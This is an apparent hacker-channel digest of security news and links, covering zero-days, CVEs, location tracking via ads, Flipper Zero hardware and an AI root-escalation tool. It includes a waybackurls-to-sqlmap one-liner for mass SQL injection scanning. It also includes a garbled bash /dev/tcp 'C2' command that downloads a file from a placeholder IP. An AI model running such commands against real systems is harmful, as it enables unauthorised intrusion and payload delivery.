cKure Red

🟥Microsoft Zero-Day drop:

Server MS-TNAP Authentication Bypass [RCE 0day]
A critical 0-click remote authentication bypass vulnerability in Microsoft Telnet Server that allows attackers to gain access as any user, including Administrator, without requiring valid credentials. The vulnerability exploits a misconfiguration in the NTLM Authentication processes of the Telnet MS-TNAP extension allowing remote unauthenticated attackers to bypass authentication completely.

Unconfirmed code
https://github.com/hackerhouse-opensource/hfwintelnet

⚡️ Full Disclosure | A Hardware Zero-Day Drop: Bypassing Lock - Microchip/Atmel SAM4C32

📱https://wiki.recessim.com/view/ATSAM4C32

▶️https://youtu.be/IOD5voFTAz8

📍Everyone knows your location: Tracking myself down through in-app ads.

https://timsh.org/tracking-myself-down-through-in-app-ads/

📍Everyone knows your location, Part 2: Try it yourself and share the results.

https://timsh.org/everyone-knows-your-location-part-2-try-it-yourself/

➿➿➿➿➿➿➿➿➿➿

analyse-ad-traffic l: A guide + python notebook that helps to collect, analyse and visualise requests sent by a mobile device while using some app.

https://github.com/tim-sha256/analyse-ad-traffic

🔤 SQLMap from Waybackurls.

waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt | xargs -I{} sqlmap --technique=T --batch -u "{}"

Credits: Zlatan H

🚨Zero-Day: EPICOR HCM Unauthenticated Blind SQL Injection CVE-2025-22953.

https://tinted-hollyhock-92d.notion.site/EPICOR-HCM-Unauthenticated-Blind-SQL-Injection-CVE-2025-22953-170f1fdee211803988d1c9255a8cb904

📣 Oracle quietly confirms public cloud data breach, customer data stolen.

The attacker exploited a vulnerability in Oracle Access Manager to breach Oracle-hosted servers. The vulnerability is tracked as CVE-2021-35587 and was assigned a critical severity score 9.8/10. It was patched in mid-January 2022, raising questions over whether Oracle kept its own servers vulnerable to a flaw it fixed more than three years ago.

CrowdStrike is investigating the incident along FBI.

https://www.techradar.com/pro/security/oracle-quietly-confirms-public-cloud-data-breach-customer-data-stolen

🎲🐬 Feberis Pro: The Ultimate 4-in-1 Expansion Board for Flipper Zero.

www.mobile-hacker.com/2025/03/31/feberis-pro-the-ultimate-4-in-1-expansion-board-for-flipper

😀😀RamiGPT – AI Tool To Escalate Privilege & Gain Root Access Within a Minute.

https://cybersecuritynews.com/ramigpt-gain-root-access/

🌐 Yet another website: sploitify.haxx.it [interactive public exploit cheat sheet]

🌐 Russian zero-day seller is offering up to $4 million for Telegram exploits.

https://techcrunch.com/2025/03/21/russian-zero-day-seller-is-offering-up-to-4-million-for-telegram-exploits/

🆕 No-Click Critical Vulnerability in Microsoft Windows: CVE-2025-21298.

https://www.hackers-arise.com/post/new-no-click-critical-vulnerability-in-microsoft-windows-cve-2025-21298

Ransomware Archive

🎁 Hiding Shellcode in Image Files with Python and C/C++

https://github.com/WafflesExploits/hide-payload-in-images

🇰🇵Bybit hack technical analysis of the Hack by Lazarus group, North Korean state spinsored hacking group (as calimed by the FBI, United States 🇺🇸).

Dangerous AI communication.

GibberLink mode.

Source: https://www.linkedin.com/in/georgi-gerganov-b230ab24

5️⃣ 1 liner bash for C2 without using any native program like wget, nc etc, esp containers.

bash-c "exec 3<>/dev/tcp/IP/80; echo -e GET/ youfile.sh HTTP/1.1\r\nHost; ip\r\nConnection: close\r\n\r\n' >&3; cat <&3-> yourfile.sh'

Source: Linkedin | Harvey Spec

💎 Sandbox evasions are a strange world: a tiny mouse jitter can decide the fate of a whole attack chain. CPR describes statistical attacks they launched on sandbox human interaction modules, then gives full mitigation, including exposition and source code.

Exploiting Statistical Weaknesses in Human Interaction Anti-Evasions.

https://research.checkpoint.com/2025/the-cat-and-mouse-game-exploiting-statistical-weaknesses-in-human-interaction-anti-evasions/

🐧 The Art of Linux Kernel Rootkits.

https://inferi.club/post/the-art-of-linux-kernel-rootkits